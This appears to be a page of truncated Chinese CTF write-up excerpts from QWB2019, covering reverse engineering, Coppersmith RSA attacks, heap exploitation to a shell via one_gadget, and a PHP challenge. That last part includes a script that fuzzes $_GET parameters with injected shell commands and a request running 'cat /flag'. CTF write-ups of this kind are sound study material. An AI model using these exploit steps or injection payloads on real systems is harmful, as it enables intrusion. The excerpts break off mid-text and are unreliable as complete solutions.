Category - QWB2019

openwrt,MIPSEL架构,给了fs和内核,挂载fs提取固件程序/bin/hello,命令:mkdir load && mount -t ext4 -o loop  openwrt-malta-le-root.ext4 load

用retdec反编译,整理程序逻辑,主函数的大概逻辑如下:

int main(int argc, char ** argv) {
    ...
    puts("welcome to qwb2019");
    puts("user_name: ");
    int32_t username = &v1; // 0x40056c
    scanf("%s", username);
    puts("user_pass: ");
    int32_t pwd = &v3; // 0x40058c
    scanf("%s", pwd);
    int32_t buf = malloc(80); // 0x400594
    *buf = *username;
    *(buf + 4) = *(username + 4);
    *(buf + 8) = *(username + 8);
    *(buf + 12) = *(username + 12);
    int32_t v7 = username + 16; // 0x4005cc
    int32_t v8 = buf + 16; // 0x4005d0
    buf = v8;
    ...
    if (check(buf, v14, v11, v10) == 0) {
        // 0x400640
        puts_rc = puts("\nno");
        // branch -> 0x40064c
    } else {
        // 0x400660
        puts("\nyes");
        puts_rc = printf("flag{%.5s%.32s}\n\n", buf, v9);  //user+pass
        // branch -> 0x40064c
    }
    // 0x40064c
    return puts_rc;
}

需要输入用户名和

wasm的题目。 1. 利用GitHub上的wabt可以将他反编译成c源码,不过可读性较差,再次编译一下(不能编译成可执行文件,只能编译成目标文件.o),用ida查看就可以静态调试了。 2. 在本地用python开一个http服务,chrome访问,就可以动态调试了。 3. ida可以看到,main函数是f16函数,其中只调用了f54和f15。 4. 动态调试可知,f54为输入函数,f15是ch

一系列的基于 coppersmith attack 的RSA问题,让人不禁联想到去年强网杯也是出了连续10道RSA的操作,算是综合性题目,去年的出题人说的也是,出题思路是把市面上有的rsa攻击都考一遍,这次就是更具体了一点,把现有的coppersmith攻击技术都考了一遍,这些类型在ctfwiki上都能找到,把它们实践一遍,也算是对得起study这个名字了。

POW完进入题目后,要求的是输入token,后面生成的题目每次都是相同的,所以猜测是根据token生成一系列伪随机数,但不管怎样,对我们来说题目就是固定的了,所以可以直接用独立的sage脚本去解出答案,直接发过去就行了。

第一关

已知明文的高位,要得到后面72位,典型的Known High Bits Message Attack

  1. n = 0x1e4c23321ee5005085faa926e98104dfb1ce0070a1c423e86909f7e2e822ef331c0610aaeb1fd790a950e4786d69572d76713abe28b2554605c150b186b034d0f337a1cee0759bd023915788c619bde453ab5c02eaff5ef429663d335675cb6f09db2297aa03fcfd176ee4c8eca57e4489a8177ac8556e50990dfda65df85157
  2. e = 3
  3. m = randrange(n)
  4. c = pow(m, e, n)
  5. beta = 1
  6. epsilon = beta^2/7
  7. nbits = n.nbits()
  8. kbits = floor(nbits*(beta^2/e-epsilon))
  9. mbar = 0x48ec711a1b4994739e0a365949d2b455e9a30390c5285897b95f7d3974340d7be798c7325727bd78cc51b8dfe035abd9228405cfe0b70c000000000000000000
  10. c = 0xe16b1bc6933849c47e5bd738f240070038626409ad1b8a2babf7ee07ef59f
1. 还是单选问题,不过有两种结构体,一种存str,一种存int。 ```c struct intNode{ void * vtable; char hash[16]; int64 size; int64 *content; } struct strNode{ void * vtable; char hash[16]; int64 size
1. 送分题,Change有个很明显的堆溢出,还贴心的在堆上放了puts函数的地址。 2. Get两次,利用第一个堆溢出到第二个的puts函数指针前,打印,即可获得puts地址 3. 再次利用第一个的堆溢出,修改puts为one_gadget,调用puts即可getshell ![](https://leanote.com/api/file/getImage?fileId=5ceb4b89ab6
1、程序为32位: ```bash $file JustRe.exe JustRe.exe: PE32 executable (console) Intel 80386, for MS Windows ``` 2、程序主要逻辑: 输入为26个字符,过两个check即可得到flag: ![ti
算是这次比赛比较有意思的一题,虽然提供了tcache这种较低利用难度的机制,但是程序本身的防护限制导致利用起来异常困难。 比赛到最后的时候已经泄露出了stack地址,但是脑子一下没转过弯来,差了最后写onegadget的临门一脚。 ## 程序分析 ![](https://leanote.com/api/file/getImage?fileId=5ceb9bd5ab644130190024df)

其实很简单,将每个php文件里的$_GET参数提取出来逐个爆破就行了。
find.py:

  1. #!/usr/bin/env python3
  2. import requests
  3. import os
  4. import re
  5. url = 'http://localhost/src/'
  6. ptn = re.compile(br"\$_GET\['(\w+)'\]")
  7. ptn1 = re.compile(br'>>> (\w+) !!!')
  8. i = 0
  9. for f in list(os.scandir('/var/www/html/src'))[::-1]:
  10. i += 1
  11. print(i, end='\r')
  12. with open(f.path, 'rb') as fp:
  13. data = fp.read()
  14. for get in set(ptn.findall(data)):
  15. get = get.decode('ascii')
  16. cmd = 'echo ">>> %s !!!";' % get
  17. r = requests.get(url + f.name, params={get: cmd})
  18. if ptn1.search(r.content) is not None:
  19. print()
  20. print(f.name, get)
  21. exit()

title
get flag:
/xk0SzyKwfzw.php?Efa5BVG=cat /flag

    Page 2 of 2